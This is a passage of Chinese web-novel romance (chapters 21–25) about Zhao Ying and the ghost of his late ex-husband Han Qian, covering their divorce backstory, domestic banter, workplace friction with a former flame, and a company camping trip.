“真的没有。”韩谦犹豫地开口,“但我在旧金山有一套独栋。” 他握住赵郢的双手,“你想要我送你,房子,车,都可以。你不是嫌雷克萨斯发动很吵吗?明天我陪你去趟4s店呢赵郢。” “在协议上签字吧。” 赵郢抿了抿唇,“律师写得很清楚,应该不用我做过多解释。我们各自的资产,婚前什么样离婚后就什么样,到时候给你一天的时间收拾东西,从我家搬出去。” 他不想与韩谦纠缠太久,快刀斩乱麻才是应有的做法。再这么耗下去,赵郢想象不到假如自己也无法解决地皮纠纷,他爸妈会通过什么样的手段把韩谦牵扯其中。 他和韩谦不同,赵郢掏空积蓄买下的房产,不可能一夜卖掉搬到其他地方,他已经在南水扎深了根,事业、住宅、人际。他被困住了,可韩谦没有。 至少目前没有。 “我不签。”韩谦梗着脖子跟他对着干,“赵郢,我死都不签。” “如果我不说,你打算瞒我多久?一年,十年,一辈子?”韩谦像一面密不透风的墙,严防死守,赵郢头大得很。 那双他曾经对视过无数次的灰蓝色瞳孔盈满了名为挽留的情绪,赵郢无时无刻不在心软,但他也清楚地知道他下一步要做什么。 换句话说,就像主人准备杀了喂养多年的狗,哪怕脖子上抵着锋利的砍刀,狗也以为这是人在同他玩闹,甘愿引颈就戮。 这个比喻不太恰当,不过赵郢也想不出更好的了。 “云升集团董事长乔彬程白手起家,妻子姓杜,两人结婚几十年,膝下有两个女儿。”赵郢短暂地停留几秒,仿佛下定决心一般,“没说错的话,你妈妈是乔彬程的婚外情人,你也是他的私生子。既然如此,你所遭受的所有不平等的对待,好像都变得情有可原。” “赵郢……”韩谦摁着他的肩膀,鼻尖仿佛要往他脸颊上蹭,他咬着后槽牙,“你他妈把话再说一遍?” 赵郢回视过去,有意激怒道:“你经历的那些痛苦,都是你活该的。” “满意了吗?”他说。 韩谦临走前拿了一支他的护手霜,似乎来的路上刚用过,散着淡淡的柑橘味儿,现在这股味道却撕扯着撤离开来,与赵郢拉远了距离。 “我最后问你一遍。” 韩谦目眦欲裂,眼眶红得充血,“你是真心想离婚吗?” 手心的戒指轻轻落到茶几边角,赵郢在弯腰拿笔的时候揩了揩眼角,转过身后依旧跟没事人一样:“是的。” 他把纸笔递过去:“签字吧。” 彼时婚姻法还未增加新规,韩谦在协议上签了字,赵郢心中的石头赶在末班车前沉重落地。 韩谦搬出去那天,他收拾的速度变得很慢,赵郢耐着性子等,只觉得他像移山的愚公,这辈子都搬不完自己的东西。 说不准韩谦在给他台阶下呢,多拖一分钟,万一赵郢改了主意,他们还可以在民政局的工作人员下班前再结一次婚。 但他想错了,赵郢是执意要与他分开的。 于是韩谦头昏脑热,强压着这个没有心的人做了最后一次。 从前赵郢永远在这种时刻占据主导权,动慢了、弄快了,他总要皱着眉说上几句,然后亲自上阵纠正韩谦,有时候韩谦也不全都听他的,这是夫妻之间的小情趣,倒也无伤大雅。 这回不一样,不论韩谦快还是慢,赵郢始终没吭一声,两个人都在跟彼此较劲。 一个不停下,一个不制止。 到最后赵郢半边身子落到床外,韩谦把着他的腰身,想将他拖回来,却被赵郢狠狠拍开并骂了一声“滚”。 自此他们再也没有见面。 回忆停在这里,赵郢的腿盘得太久,酸软得像两条弹性十足的果冻。 “你当时怎么没告诉我?” 赵郢沉默两秒,韩谦在他面前提过Greta几次,也放过她生前演过的一些电影。正如Greta所说,如果还有机会的话,他也很想去美国拜访她。 “告诉你,你就不会离婚了吗?”韩谦反问他。 “当然……”他看到韩谦眼睛一亮,调转话头说,“还是会的。” 韩谦:“那不就完了。” 赵郢安静一会儿,说道:“你那个时候是不是挺恨我的?” 为了把韩谦撇出去,他说了那么多伤人的话,韩谦没一巴掌抽他都算好的了。赵郢知道他这是在明知故问,但他还是想听听当事人的回答。 韩谦避开他的视线,无语地撇撇嘴:“可不吗,我快要恨死你了。” “事先说好,不是因为我妈妈的事。”他在半空中侧躺,只给赵郢留一个后脑勺,“我妈——Hofmann女士是一位很重感情的人,有句话怎么说来着?情深不寿,慧极必伤,乔彬程追求她的时候,一口咬死自己是单身,八岁那年他回来找我们,又可怜兮兮地说,他与那位杜女士仅仅是商业联姻,没有真情。这样一个反复无常的人,也只有我妈妈才愿意献出一颗真心。” “可能阿姨心里也清楚,只是不想承认而已。”赵郢说,“她为此投入太多时间和精力,就像沉没成本,已经回不了头。” 韩谦“嗯”了一声,背影动了动:“那会儿我们都在气头上,后来我有冷静地分析过,心想,你大概是有苦衷才这么说的。” 赵郢笑了一下,表情有些苦涩。 “你怎么知道我有苦衷?万一我真的是铁了心想伤害你的感情呢……” “你不是那样的人。”韩谦飘到他面前,板着脸说。 赵郢:“那我是什么样的人?” 韩谦用“你是”开了个头,后面就没再说话了,似乎在组织语言。 半晌,他垂下眼睫,高深莫测地说:“赵郢,你是一个喜欢把别人推开,独自承受一切的人。” 第22章 第 22 章 落下一个没有亲到实处的…… “对。” 赵郢心中腾然产生一种被揭穿的惊慌感, 但他藏得很好,气定神闲地说:“你说得没错,我正是典型的香蕉型人格。” 韩谦:“……” 已经很晚了, 名叫赵郢的香蕉明天还得上班。他拿上换洗衣物走进浴室,赵郢的洗漱流程极其繁复精致,在身体不那么疲劳的前提下, 往往一小时起步。 他撑开束发带,将额前的碎发捋向后脑勺, 在掌心挤了一粒黄豆大小的洗面奶, 打出泡沫后在脸上均匀铺开。 此时洗漱台的镜子上渐渐出现第二个人影,那人歪着身子靠在门框旁, 闻味似的抽抽鼻子:“你换牌子了。” 赵郢掬起水冲洗残留的洗面奶, 眼睫糊成一团, 洗完脸的模样很是狼狈滑稽。他闭眼摸索洗脸巾,手掌往下一压, 触碰到一块绵柔的材质。 洗脸巾的位置比他想象的更近些,这次赵郢没像瞎子一般找很久。 仔仔细细擦干脸上的水, 他睁开眼:“同一个东西用多了会腻, 跟你们写程序一个理, 需要不停更新迭代。” “能别指桑骂槐吗?”韩谦垂眸看着他,对这种行为表示高度鄙夷。 赵郢反应了一会儿, 满脸莫名其妙:“谁指桑骂槐了?神经。” “你看你看,人身攻击!” “……” 他不想跟这个人形都没幻化出来的鬼多费口舌, 告饶地举起双手:“好吧我承认, 其实是常用的牌子年度大调价,涨到九百一瓶了。新换的这个价格才一半不到,量大管饱经济又实惠。” 韩谦哼哼两声, 像只得意的,以逼出赵郢实话为荣的猪。 “我留下的遗产够你买一辈子的奢华精粹洁颜凝胶了。”他惬意地半眯着眼,“赵郢,不要舍不得,把这瓶扔了买新的。” “浪费。” 赵郢思考着说:“那等用完了再换回原来的吧。” 韩谦满意地点点头。 自从赵郢打开淋浴头试了试水温,浴室就仿佛白雾缭绕的仙境。满室的热气中,他拽住睡衣下摆,布料上滑,露出一截苍白瘦削的小腹。 这套睡衣是真丝材质的,细软贴肤,很衬赵郢的肤色。但他脱到一半没有继续下去,而是转身看了一眼。 不出所料,韩谦翘着二郎腿坐在马桶盖上,直勾勾地盯着他看。 “我要洗澡了。”赵郢下逐客令。 韩谦:“哦。” “听不懂人话”可能是变成鬼的副作用吧,赵郢心想。 他把睡衣放下来,赤足走到韩谦面前,直白道:“请你出去。” “赵组长。”韩谦表情戏谑地喊着赵郢原先的职称,托着腮帮说,“我又不是第一次看你洗澡,没必要吧?” 当然有必要,赵郢心想。 合法婚姻关系,一块洗澡是小情调;婚姻破裂后,一方看着另一方洗澡叫耍流氓。 他蹙眉顿了几秒,随后转过身去,象牙色睡衣簌簌脱落,被叠放在洗漱台一角。 想看就看吧,他又不会掉块肉。 如瀑布般细密的水流倾泻而下,赵郢被温热包裹全身,如往常一样挤了几泵柑橘味的沐浴露。 他洗澡一贯讲究,沐浴露要搭配磨砂膏,冲洗的时候赵郢不经意瞥了韩谦一眼,那人的视线仍然紧紧聚焦在自己身上,脸色深沉,不知道在想什么。 如果目光有实质,他大概从头到脚都被韩谦摸了一遍。 “赵郢,你好像又瘦了。”再一转头,韩谦已近在眼前。 他宛如一个翻转着地球仪的学者,精准地分析着赵郢哪里变瘦了。赵郢被他自带的那股冷气吹得一哆嗦,不禁调高水温,默默挪开一点。 很小的时候赵郢就有些营养不良了,学校的老师说他光长个头不长肉,像一把麻秆,细条条的。 赵郢没好意思说,自己为了省钱一天只吃两顿饭,偶尔的加餐是学校中午统一发放的兑了香精的杂牌牛奶。 这样的搭配,能胖就奇怪了。 后来上大学了才渐渐好起来,因为学校的食堂有国家补贴,不贵,十块钱出头就能吃到有荤有素的饭菜,赵郢终于从“小麻秆”长成“稍粗一些的麻秆”。 工作后每月有了稳定的收入更是不一样了,纵然身型还是薄纸片那一挂,好歹屁股有肉。 韩谦巧妙地跟他想一处去了,庆幸道:“还好,屁股一点没小。” 赵郢:“……”谢谢啊。 浴室的水汽随着开关关停缓慢散开,他裹着浴巾从湿淋淋的隔间走出来,一只脚踩在塑料小板凳上,弯腰朝小腿抹身体乳。 固态的膏体被赵郢掌心的水珠揉开,散成白色的乳液状,弥漫着淡淡的不知名香气。 赵郢刚想问韩谦有没有在公主的食盆里添狗粮,一扭头,那道高大的鬼影变淡些许,韩谦的人中落了两条浅红色的血迹。 “鬼也能流鼻血吗?”赵郢问。 “能啊。”韩谦抽了张纸擦掉鼻子上的血痕,淡然道,“别的也能,你要不要试试?” 赵郢做了一轮深呼吸,让他赶紧滚。 有些人生来不知道“边界感”三个字怎么写,睡前,赵郢看向身旁那半边隆起的被褥,失语地将摊在腿间的杂志往后翻了一页。 他感觉韩谦死了以后,脸皮更厚了一些,最值得一提的是他装聋的技术,简直令人大开眼界。 赵郢连杂志都看不下去了。 “赵郢,你的梦想是什么?”韩谦正面朝上地躺着,睡姿十分安详。 赵郢将手机解锁定闹钟,闻言扫他一眼:“你要为我转身吗?” 韩谦:“……” 赵郢把手机和杂志一并放到边几上,关了灯,整个人滑进毯子里。 “我小时候的梦想是,早餐可以吃一笼刚出炉的小笼包,最好配一杯热牛奶。”赵郢回忆道,“上高中后的梦想是,一天可以睡足八小时,每天九点起床。” “那现在呢?”韩谦问他。 “现在?” 赵郢进入闭目养神的状态,声音也弱了几分:“现在……想去看海。”南水市是内陆城市,所属省份里倒有几个城市临着海,但他并不是真的想去。 只是想换一个环境,换一种生活方式。 在云升的这份工作在外人看来是很体面的,既是中层领导,薪资也足够丰厚,除了得透支生命,几乎没什么缺点。 换句话说,透支生命就是最大的缺点了。 “我有个在瑞士的朋友读的是地球与海洋科学专业,等天气再热些,我给周宁托个梦,让他帮忙联系一下……看能不能约上他们科考队合作的旅行团。” 韩谦絮絮叨叨地说:“在沙滩上看海最没意思了,赵郢,你要是愿意休年假,我带你去特罗姆瑟追鲸群。相信我,你绝对会被震撼到。” “那个时候如果我还维持着现在这副样子,兴许我们还能省一张船票,你说呢?” 枕边人久久没有回应,他扭头望过去,小心谨慎地等了一会儿。须臾,见赵郢还是安静不动,韩谦把脑袋凑到他的脸颊边,落下一个没有亲到实处的吻。 第二天,赵郢顶着一头乱发起床。 昨晚韩谦在他耳边碎碎念的时候,他没有睡很深,依稀听到了几个关键的字眼,例如“鲸群”“科考队”,害得他做了一晚上有关于海的梦。 梦境前半段出演加勒比海盗,后半段则是海底总动员。 赵郢睡醒时仿佛刚从甲板上下来,脑袋一阵阵地发晕,路过韩谦还被他扶了一把。 “你昨晚说什么来着?”赵郢把挤了牙膏的牙刷塞进嘴里。 韩谦耳尖薄红,答非所问道:“什么?昨晚我没有亲你。” 赵郢刷牙的动作停了一秒。 “借你的iPad绑了我的银行卡,想喝什么自己点。在家好好看着公主,别再让它乱啃我的波士顿蕨,以及——” 赵郢将睡得翘起来的发梢抚平,在玄关换鞋,接着说:“禁止来公司骚扰我。” 他右手搭着置物柜稳住重心,中指根部的那一圈凹陷被一枚戒指填满,被雪葬了一整年的婚戒得见天日,喜气洋洋地泛着光。 韩谦强压着嘴角:“知道了……” 赵郢出门后,他还追出去几步,望妻石一般探着身子,不舍地朝电梯的方向挥挥手:“你早点回来。” 赵郢心情复杂地在电梯关门键上多按了几下。 第23章 第 23 章 “可怜我年纪轻轻为他守…… 出门不到五分钟, 赵郢便收到了备注为“公主”的联系人发来的消息。 电梯里没信号,走出去的一刹那,十几条未读犹如洪水般朝赵郢滚滚涌来, 将他砸了个措不及防。 以前韩谦有这么粘人吗? 他等红灯的时候思考了好久,起步比别的车慢了一些,因此收获好几道不耐烦的喇叭声。 把车停进公司的地下车库, 赵郢掏出手机,未读消息从十几条增加到惊人的55条。 他随手翻了翻, 多半是些没营养的口水话。 韩谦分享欲旺盛这一点, 在他们交往的第一年就初露端倪了。那时英国某著名畅销小说改编的系列电影第一次在大陆重映,韩谦当晚便订了两张VIP厅情侣双人座的票, 拖着赵郢风风火火地检票入场。 赵郢的童年里并不包含《哈利·波特》, 对此没有特别的情结, 但韩谦与他不同。在灯光全黑的影厅,赵郢数次感受到他投来的目光, 这人蠢蠢欲动地想跟他说些什么,似乎又怕惊扰到别人, 克制地用眼神代替了。 电影开始到结束, 他们十指紧紧相扣, 从未分开过一秒。 散场以后,韩谦改为搂着他的腰, 亲昵地挨着赵郢的耳尖说,他小时候见过三位主演。 “准确来讲, 是婴儿时期。那会儿我妈妈在准备一场试镜, 要去英国见见导演和编剧,试镜地点旁边就是《哈利·波特》剧组的片场。” 南水市的冬天飘着刺骨的雨雪,韩谦呵出一团白雾, 睫毛也落了雪:“她还托人要了签名,可惜在我们某一次搬家期间弄丢了,便宜了那个捡到的人。” “我记得电影拍了很多部,之后你们没再去看看吗?”赵郢问道。 韩谦摇摇头,说:“我入学后,她就很少接需要离开美国的工作了。” “赵郢,我们抽空去一趟英国的环球影城吧。听起来可能有点无聊,我大二那年去过一次,但我想,一个人去和有爱人陪着去是不一样的,你说呢?”韩谦低眸询问他的意见。 赵郢将喝空的可乐杯扔进垃圾桶,在那片雀跃的蓝海中,他微不可查地轻笑一声。 “行啊。”他说,“我年假比你多四天,我们总共有二十天重合。在你的旅行计划里,还有北海道滑雪、肯尼亚追动物大迁徙和马尔代夫浮潜这几项。” 赵郢伸出四根手指,“现在又多一个了。” 韩谦永远都有花不完的精力,好像对生活、对未来充满无限的热情与希望,这是赵郢所没有的空白。 以前是他来填补,现在貌似也还是。 因为某个人昨晚趁他睡觉,已经擅作主张地计划好了要带他看鲸群。 一踏入公司,赵郢掩着唇小小地打了个哈欠。为了保证今天的工作效率,他掉头到一楼的咖啡厅买了杯加浓冰美式。 在等候区排队时,他开始选择性地回韩谦的消息。 公主:[已拖地。鬼做家务原来也可以这么轻松!(图片)(图片)] 赵郢回的是“干得不错”。 公主:[赵郢,你为什么没有Netflix会员?] [不知道怎么弄,你自己研究研究。] 公主:[在你衣柜角落搜到了一条煊赫门,很好,充公了。(图片)] [……随你。] 大不了他下次再买,赵郢心想。 公主:[下班帮我打包一份陈记的核桃巧克力拿破仑,谢谢。(爱心)] [你又吃不了。] 公主:[烧给我!(比格暴怒.jpg)] 赵郢回了一个OK的emoji,紧接着向正在打包的店员说“不用包装袋了,我直接拿走”。 他隔着纸巾接过咖啡,等电梯的时候碰到仓促站定的白舒沅,对方刘海缭乱,看着无精打采的。 “早上好啊赵哥。”白舒沅望向同样没怎么睡好的赵郢,晃晃同款加浓冰美式,很命苦的预期,“如此默契的配置。” “你昨天干什么去了?” 赵郢抬手按下电梯键,“我们近期应该没有强制熬夜加班的项目。” 白舒沅做苦瓜脸。 电梯又进来一些人,到了楼层,她出去后才小声说:“廖经理昨晚找我呢。” “廖彦开?”赵郢挑眉,“他找你做什么?你又不是他团队的人。” “他说他昨晚有事找你,但你没接他电话,只好来问我喽。” 白舒沅耸耸肩,说:“百分之九十九都是工作上的事。罗廉开的手下净是中看不中用的草包,而且廖经理和我诉苦呢,说罗廉开没交接到位,一堆烂摊子。” 赵郢翻开通话记录,确实有两通未接来电,估计是他手机开了静音,没听到。 “剩下百分之一呢?”他抓到重点。 “噢……” 白舒沅吸了一大口冰美式,被苦得直皱眉:“廖经理打听了一下你的感情状况,我说赵哥一向是个神秘的人,我不是很清楚呢。” 神秘的赵郢赞许地点点头:“很好。” “赵哥,我刚刚才发现。”白舒沅咬着吸管口,指了指他那枚镶嵌着硕大彩宝的婚戒,“拼多多还是淘宝?能把链接分享给我吗?” 赵郢一怔,失笑道:“这个啊,地摊随便淘的。你午休上1688看看?” 白舒沅比了个“好的”手势。 下午赵郢办公室来了一位稀客,是廖彦川团队的小方,葬礼上跟在罗廉开身后狐假虎威的那只“狐”。 罗廉开一走,他的处境显而易见地微妙起来,敲门进来时还同手同脚了一会儿。 “赵经理,廖哥请大家喝福莲楼,您想点哪一款?我记一下。” 赵郢将镜框上推少许,眼睫放松地垂落,他不假思索道:“黑糖珍珠,少冰全糖。” “替我谢谢你们廖经理。”他客气道。 下午四点钟,黄昏的阳光透过半开的百叶窗,倾洒在转了一百八十度的办公椅靠背上。 新甲方不好相处,这让赵郢很头大。 不管入职多久,遇到难缠的人,该烦的心一滴也少不了。 他正在放空大脑,此时办公室外有人敲门,赵郢闭眼说了声“进”,心里估算着是小方来送奶茶了,又补了一句“放桌上就好,辛苦”。 “不辛苦。” “小方”放完奶茶袋还没走,声音夹杂着笑意:“小郢,记忆中你很少喝这么甜的东西。” 从那个人说第一个字起,赵郢就知道他不是小方。 “人都会变的,廖经理。”他转过来,镜片闪着冷光,“以前觉得某样东西好,不代表它真的好。方便面的包装袋上不也写了‘图片仅供参考’吗?都是同一个道理。” 廖彦川事不关己地“呵呵”笑了两声,不知道是装没听懂还是真没听懂。 “你比以前能言善道许多。”他反手关上门,“就是容易叫人分不清,你说的话哪句是真的哪句是假的。” 赵郢没说话,左手在桌底开了手机录音。 廖彦川:“昨晚你说在哄男朋友,可我问了小白,她并不清楚你的感情状况。小郢,有些事不必瞒……” “有男朋友就一定要昭告天下吗?” 赵郢冷笑道:“虽然都是保密,但我的性质算是光明磊落得多。只是不想被人议论而已,又不是瞒着另一半去相亲。” “这么久了,你竟然还没放下吗?” 廖彦川惊讶地张了张嘴,表情假得令人作呕:“小郢,我没想到你一直对我念念不忘。” 赵郢:“……” 他被实实在在地恶心到了,刚打算反击,只见廖彦川视线扫过他右手中指的婚戒,收敛神情道:“这是莱茵拍行两三年前交易的拍品,如果我没记错,它的成交价是108.25万美元。” “你知道拍下这枚戒指的人是谁吗?” “是谁?”赵郢反问他。 廖彦川表情有些难以言喻,他为难地说:“我也不知道。” 参加拍卖的不一定是竞买者本人,也有可能委托他人代为出席。 幸好韩谦没出面,赵郢心想,廖彦川这是在套他的话。 手段还是这么低级。 “你真的有伴侣了吗?”廖彦川半信半疑道。 赵郢看他只觉得碍眼,就像身边围了只赶不走的苍蝇,“怎么,你想补一份结婚礼金?” 廖彦川避而不答,又说:“有机会的话,兴许我可以见见你的男朋友……以学长和同事的身份。” “不了吧。”赵郢婉拒道。 “人鬼殊途,我的男朋友点子背,一不小心英年早逝了,可怜我年纪轻轻为他守寡,每年清明还得给他上坟。”他眼尾轻轻上挑,眼神戏谑,“还是说你想到地底下见他?” 廖彦川被他噎得讲不出话,神色愕然且怪异,仿佛赵郢在讲什么地狱笑话。 “小郢,这种玩笑是不是不太礼貌?你男朋友要是知道了,不好吧。” “有什么不好?” 赵郢单手支着脑袋,圆珠笔在另一只手中转得飞快,“对了,我男朋友最爱喝福莲楼的全糖黑糖珍珠了,今天谢谢廖经理买单,等下了班我就把奶茶烧给他。” “哦,就说是我学长兼同事送的,他肯定会很喜欢。” 正值春夏交替,赵郢的办公室平白冒出一股阴森森的寒气。 廖彦川瞪大眼睛,被他吓得不轻,随便搪塞几句便走了。 同一时刻的韩谦被连着编排了好几次,对着空气打了足足半分钟的喷嚏。 比格犬朝他递去担忧的目光,狗头探出一小尖。韩谦揉着它扇子一样的大耳朵,自言自语地喃喃:“是不是快变成人了?鬼不会感冒的吧。” 公主“汪”了一声,像是附和。 第24章 第 24 章 那他一定要这么做了。…… 南水市即将迈入五月。 盛夏到来之前, 云升内部组织了一场一年一度的露营团建,地点选在隔壁市郊的莫湖岛——这是去年全体员工一致抗议的结果。 原因无他,刘总是个骨灰级登山爱好者, 早期夹带私货,拖着几十号人灰头土脸地把国内第一到第五的山爬了个遍。 职员里技术宅占的比例不小,不爱运动的更是数都数不过来。熬夜加班已经很伤身体了, 大家不约而同地在“得罪领导”和“得罪身体”之间选择了前者。 于是,“今年公司团建是露营还是爬山”的匿名投票环节, “露营”这个选项压倒性胜出。 里面也有赵郢宝贵的一票。 两辆二十三座中型大巴停在公司楼下, 赵郢一身宽松休闲装,背着容量空间充足的户外包“登登”踏上车内的三段台阶。 第二排靠窗的位置, 没能如愿的刘总正兴致缺缺地听着有声小说, 赵郢坐在他后面一排, 看着挺清醒,其实已经走了有一会儿了。 都怪韩谦。 赵郢在心底给他扣了不下十顶帽子。 昨天一说起要参加团建, 这人百般不舍千般不愿,闹腾了半天想跟他一起去。他严词拒绝, 韩谦非说是他有意与廖彦川私会。 “我看你是刷短视频把脑子刷坏了。”赵郢绕开他, 将苹果连皮咬了一口, “但你要是真这么想,我也不是不可以——” “我没这么想!” 韩谦蹲在他面前, 脑袋向旁边一偏:“我只是不想你们相处时间太久……当我没说好了。” 他不止一次产生过类似的想法,也在某些神智不清的时候向赵郢倾诉过数回。 赵郢知道他在担心什么。 六岁的年龄差不是一个小数字, 他们相遇的第一个年头, 赵郢就足够沉稳优秀了,他是引导型的恋人,许多东西韩谦都是第一次在他这里学到。 这样的赵郢很容易给人一种“他是不是生来如此”的误解。 一次大扫除, 韩谦偶然翻到一本大学毕业相册。 一张张分量不轻的纸页掠过指尖时,看着照片里无数个青涩稚嫩版赵郢的脸,他得到答案: 不是的。 赵郢的过去与现在,是两个不同的模样。 他拥有的是年长的那一半“赵郢”,而年轻的那一半,属于另一个人。 尽管那个人早已成为赵郢生命里无关紧要的路人甲,但他依旧好嫉妒。 韩谦的身高体型十分优越,以至于蹲下来也是很大一只。赵郢忘了自己是否说过,韩谦生闷气的样子很迷人…… 说了吗?好像没印象。 “别揉了,赵郢。”韩谦恢复实感的身体部位越来越多,那张英俊立体的面容被搓揉得微微泛红,他小声说,“脸痛。” 赵郢的手朝左右两侧一撤,这是他蹂躏比格公主的手法。 “不是不想你去,公司安排的大巴座位都满了,两个多小时的车程,你难道要趴在车顶上吗?”他手肘轻轻落在膝头,小臂垂落,中指的婚戒熠熠生辉,“我们目的地见,同意的话把手放上来。” 赵郢手掌摊平,掌心朝上。 韩谦不情不愿地拍了他一下,“就这?” “那你要怎样?”赵郢有点想笑。 韩谦主动迅猛地合上眼睛,脸颊抬高四十五度,暗示明确。 赵郢却还在失神当中。 鬼魂形态的韩谦体温很冷,赵郢用手盖住他上半张脸的时候,仿佛握着一杯加满冰块的可乐杯,外壁冒着水珠那种。 手心的皮肉是极其敏感的,轻轻搔一下都会觉得痒,更别说被睫毛上下刮弄这种程度了。 以韩谦眼皮抖动的频率,不难看出他正在紧张。 他们有很久没亲近过彼此了,最近的一次都是在各自的梦里,赵郢陡然生出几分不好受的感伤。 “还要我等多久啊赵郢?再不亲我就……” 韩谦“唔”了一声,被两瓣柔软贴住嘴唇。 他们仿佛同频共振,哪怕已经形影不离有一段时间,那种失而复得的感觉宛如初次爆发的火山,喷涌在两人交叠的胸口间。 论吻技,赵郢四年前是略胜一筹的,可他年轻的爱人是位不掺丝毫水分的恋爱天才,不光实现了弯道超车,还屡次三番把他亲得气息紊乱。 赵郢有些后悔亲上去了。 他的下唇被韩谦含着厮磨,犬齿掠过红润的饱满处,稍一用力,便像公主那颗被捏紧的弹力球,陷出一道诱人的弧。 “行了……韩谦,嗯……”赵郢闷闷地哼了一声,不自觉向后倒。 他习惯性地放软身子,试图勾住韩谦的胯部,一秒后,赵郢的两条腿砸回沙发垫。 “……” 韩谦尴尬地咳嗽几声,眼神飘忽:“抱歉,目前腰还不具备实感。” 他诡异地停顿少许,又说:“那里也是。” 赵郢翻了个面,心想他如果是动漫人物,此时头顶上方应该飞过一片黑色乌鸦,以及一串黑点。 “呵呵,那怎么办呢?”赵郢的声音没有起伏,颈部的烫红消褪下来,只残留一层薄粉。 但他的身体依旧处在疲软状态中,柔软舒适的睡衣布料堆出层层叠叠的褶皱,隆起的阴影像一座小山。 韩谦也发现了他的异常,额角青筋暴起,忍得难受。 赵郢呼噜噜地薅着他头顶的棕毛,转而侧躺下来,腿根微微分开,轻声:“要不你看着我弄?” 韩谦扯出一抹笑,瞳孔颜色貌似加深了些,一个字一个字地往外蹦:“赵郢,我劝你最好别这么做。” 别这么做? 当了十几年好学生的赵郢:“哦。” 那他一定要这么做了。 最后,事实证明没有金刚钻真的别揽瓷器活。赵郢这个常年坐办公室的体力,放在韩谦面前就像小鼻嘎吉娃娃与伯恩山。 也许是没能完全释放,把自己压抑了一部分的原因,韩谦的手工活暴烈且激进,不光强行打乱了赵郢的节奏,还恶意地进行缩短或者延长,这个滋味简直和坐牢不相上下。 所以第二天赵郢屁股挨上大巴座椅时,下半身宛如掉线,腰部更是一片酸软。 在他瘫在座位放空时,邻座的位子多了个人。 “呕吐袋和晕车药,我多准备了一份。”廖彦川的笑容看着无懈可击,好像把赵郢说过的话忘了个一干二净。 赵郢没接,说:“廖经理的位置似乎不在这里。” “哎,是我让小廖换过来的。”刘总戴着蓝牙耳机,有声小说估计是没放了,暗戳戳偷听他们讲话,“车上座椅太硬,一路睡也睡不好,小廖来了大家可以一块聊聊天嘛!” 领导的话最好不要反驳,赵郢没说什么。 路上刘晋还真和廖彦川有一搭没一搭地聊起来,中年人,关注的话题一般都绕不开经济、教育、世界格局。还好刘晋对此没有太多“自己的见解”,浅浅探讨而已。 “……AGI是近几年的大势所趋,我来南水之前,燕城总部已经有接触这个领域的意向了。” 廖彦川一只手放在刘晋座椅背后的防摔扶手上,目光若有若无地扫过身旁人:“可惜韩谦了,这小孩年纪轻轻就是行业佼佼者wAI的控股股东,如果有他在,云升拓展海外市场会很容易。” 他说话声音不大不小,前后两排刚好听得见,但在座所有人神色各异,连刘晋都不知道怎么接他这话。 大家对韩谦这个人的态度十分复杂。 刘晋是当中最早认识他的人,韩谦刚回国那几年,小老外人生地不熟,一双灰蓝色眼睛灯泡似的,又凶,在学校和人干架被请家长,全是他代乔彬程挨训。 后一排,赵郢团队里的白舒沅、小李,一个是韩谦刚入职时带他的前辈,一个是受过他照顾的后辈。 赵郢就更不用说了。 刘晋笑呵呵地打破僵局,“小韩一开始是个刺头,让赵郢操了不少心。后来这小子被调回总部,中途来南水出了几次差,次次都是拿着我的工卡溜回来蹭公司食堂的饭菜……” 赵郢眉梢皱成一团,他怎么没发现有这事? 不过这一年确实有那么几次,他在办公室加班不小心睡着,醒来时身上披了件外套,闻起来有股洗衣店的味道。他在团队群聊里问这是哪位雷锋做好事不留名,也没人承认。 他从没往韩谦身上想过,因为那人的衣服多多少少沾着男士香水的气味,西柚柠檬、烟熏木头,或是其他。 而且,当时赵郢和他断得斩钉截铁,他也不认为有人会一而再再而三地为他回头。 话题聊到韩谦这里便无声地断开了,刘晋又听起有声小说,从前排传来轻微的鼾声。 两个多小时的路程,睡倒大巴一片人,赵郢也有些困意了。 只是他提防廖彦川,一直挣扎着没闭眼。 “小郢。” 廖彦川轻声做了个口型,用只有他们两个人能听到的音量说:“你那位肯一掷千金的男友英年早逝,韩谦也在今年意外过世,该不会……他们是同一个人吧。” 赵郢落到车窗外的视线一点点回收,他盯着廖彦川那双看似温柔似水的眼眉,心想多年前自己的确瞎了眼。 “韩谦被安葬在长怡墓园,你这么好奇,不如亲自问问他?” 他笑了一声,眼珠黑漆漆的:“你们应该很有话聊。” 第25章 第 25 章 “我好像百分之百化出人…… 莫湖岛毗邻一座海拔不高的小山, 四面八方有山有水,仿佛一片安静的世外桃源。 过夜的帐篷一晚118元,赵郢支好以后将户外包扔进去, 拖出睡袋和防潮垫,简单布置了一下。 忙完他朝周围走了走,顺便帮其他同事也打好帐篷, 最后想到刘总可能没什么露营经验,刚打算去他那边看看情况, 结果不远处已经有人里里外外搭上手了。 廖彦川应该上知乎开一个收费版职场专栏, 一定能赚得盆满钵满,赵郢在心底腹诽。 “赵哥!”白舒沅朝他挥舞手臂。 等赵郢走近, 他看到白舒沅这聚集了五六个人, 男女都有, 有人扛着鱼竿,有人穿着专业登山靴, 正你一言我一语地计划接下来怎么玩。 “小李他们待会儿去湖边钓鱼,我们几个准备收拾收拾去山上看看风景, 一起吗赵哥?”白舒沅盛情邀请道。 小李是他们团队的传奇空军王, 什么稀奇古怪的都钓上来过, 除了鱼。 赵郢拍掉不小心蹭到手心的尘土,说:“行啊, 等我两分钟,我带点装备跟你们一块走。” “装备”这个词很容易被误解为钓鱼佬的鱼竿, 赵郢顿了顿, 又补充说:“去爬山。” 登山包里塞了一个便携式腰包,装满了出发前夜韩谦精挑细选的野外用品,甚至还有他们离婚前没用完的避孕套。 那时赵郢看着标了“超大号”的包装, 欲言又止:“这个就不用了吧。” “不用?”韩谦拿了两盒,把空余的空间挤压到最小,“明明是很有必要好吗。莫湖岛有山,登山的时候把这个戴手上可以有效防止摔伤或伤口感染。” 赵郢:“……”哦,这样。 韩谦蹲在地上抬眸望他,“想哪去了?” 赵郢不语:“嘁。” 当他现场把超大号避孕套拆开,依次给每位同事发了一个时,大家同时露出尴尬又不好意思说的表情。 “那座山虽然小,但杂草碎石很多,走两步就有树枝挡道,戴这个能避免手部摔伤。”赵郢认真科普道。 众人齐齐松了一口气,像解冻的冰块,面部表情生动丰富许多。 赵郢憋着笑,将昨晚韩谦对他说的话重复了一遍:“想哪去了啊你们?一个个心思不单纯,都给我反省反省。” 须臾,来自不同人的笑声在半空中高低起伏地交错开来。 上山的时候,赵郢领头带他们走了一条还算平整的小道,他用一根捡来的木棍荡开前方的屏障,动作娴熟,显然之前来过这里。 缀在他身后的小尾巴里也有人这么问了,赵郢发出一声单音,思绪不禁飘到几年前。 